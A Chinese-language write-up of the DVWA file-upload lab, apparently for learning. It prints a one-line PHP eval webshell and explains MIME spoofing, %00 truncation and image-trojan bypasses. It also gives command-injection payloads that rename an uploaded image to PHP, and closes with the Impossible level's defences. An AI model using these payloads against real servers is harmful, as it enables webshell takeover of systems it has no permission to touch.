概述
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
Low级别
源代码:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
源代码中使用了basename()函数,basename ( string $path
[, string $suffix
] ),给出一个包含有指向一个文件的全路径的字符串,本函数返回基本的文件名。
可以看到服务器没有对上传的类型,内容等做任何的检查、过滤,存在明显的文件上传漏洞,上传文件时,服务器会检查是否上传成功并返回相应的提示信息。
因为它没有做任何的安全措施,所以我们可以上传一句话木马到服务器中,通过webshell来获取我们想要的信息。
一句话木马:
<?php @eval($_POST["pass"]); ?>
上传成功后,页面会返回文件所在服务器的路径,我们可以通过浏览器的URL来构造一个完整的路径
通过URL构造完整的payload
http://127.0.0.1/dvwa/hackable/uploads/hack.php
打开蚁剑连接这个payload
通过蚁剑操作,可以获取服务器上的信息
Medium级别
源代码:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
从源代码中可以看到,这个级别对上传的类型和大小都做了限制,要求类型必须是jpeg或者png格式,上传的文件大小不得超过100000B(也就是不得超过约为97.6kb)。但就算是这样还是可以被绕过的。
上传一个PHP文件,页面提示失败,必须得是图片类型才能上传成功
方法一:
我们可以把已经写好的一句话木马的后缀名改为图片格式(jpg或者png),然后就可以上传成功了(页面提示的文件后缀名是图片格式)
因为蚁剑不能控制图片类型的文件,我们可以通过burpsuite抓包,把上传成功的文件后缀名改为PHP格式然后提交
最后方法和low级别的一样,使用蚁剑来连接payload获取webshell权限!
方法二:
当我们上传一个图片类型的文件后,可以通过截断绕过的方法,来获取webshell。
上传的文件名是hack.jpg,我们可以改成hack.php%00.jpg,然后通过burpsuite对其进行URL编码(在URL中%00表示ASCII码中的0 ,而ASCII码中0作为特殊字符保留,表示字符串结束,所以当URL中出现%00时就会认为读取已结束)。
选中%00然后使用burpsuite自带的URL-decode进行编码
编码后%00就变成了空字符,而提交后则显示的后缀名为php
接下来就是按照之前的方法使用蚁剑来获取webshell权限。
High级别
源代码:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
strrpos()函数 — 计算指定字符串在目标字符串中最后一次出现的位置
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG
标记中的 height/width 文本字符串。
可以看出,high级别的服务器会读取上传文件名最后一个“.”后面的字符串,通过文件名来限制文件的类型,只能允许上传的文件后缀名是jpg、jpeg、png格式。同时,getimagesize()函数更是限制了上传文件的文件头必须为图像类型。
因为使用了getimagesize函数来限制,所以只是把文件的后缀名更改为图像类型是不行的。我们可以通过图片木马的形式来进行绕过。
准备一张图片和一句话木马,然后通过cmd合成为一张带有一句话木马的图片
copy /b 1.jpg + hack.php muma.jpg
打开合成的muma.jpg,可以看到有一句话木马在里面
接下来把木马图片上传到服务器中
之前就已经知道了不能用蚁剑直接来连接图片类型的文件,而且因为high级别只能允许后缀名为图像类型,所以Medium级别中的方法都不行。这时,我们可以利用DVWA靶场的命令注入漏洞来进行绕过攻击!
首先打开low级别的dvwa靶场的命令注入漏洞,然后查找上传成功的muma.jpg的在服务器上的位置
payload:
|| find / -name muma.jpg
查找到上传文件的位置后,然后利用命令注入的漏洞,复制上传成功的muma.jpg文件并且把这复制得来的文件更改为PHP文件(后缀名从jpg改为php)
payload:
|| cp /var/www/html/dvwa/hackable/uploads/muma.jpg /var/www/html/dvwa/hackable/uploads/muma.php
利用命令注入的漏洞后,可以看到服务器有了一个PHP文件
因为只是用了复制命令,所以这个PHP文件的路径还是和之前上传的图片文件路径是一样的(或者也可以像之前的方法一样利用命令注入去查找PHP文件的位置路径),然后按照之前的方法用蚁剑来连接,就能获取到webshell了!
Impossible级别
源代码:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
ini_get ( string $varname
) : string ——成功时返回配置选项的值。
imagecreatefromjpeg ( string $filename
) : resource ——由文件或 URL 创建一个新图像,成功后返回图象资源,失败后返回 FALSE
。
imagejpeg ( resource $image
[, string $filename
[, int $quality
]] ) : bool —— imagejpeg() 从 image
图像以 filename
为文件名创建一个 JPEG 图像。
imagedestroy ( resource $image
) : bool —— 销毁图像。
从源代码中可以看到,Impossible级别的防护更强了,服务器会对上传成功的文件重命名(使用md5值,可以防止截断绕过),还加入了Anti-CSRF token来防护CSRF攻击,加大了对上传文件的检查力度,导致攻击者无法获取到webshell权限。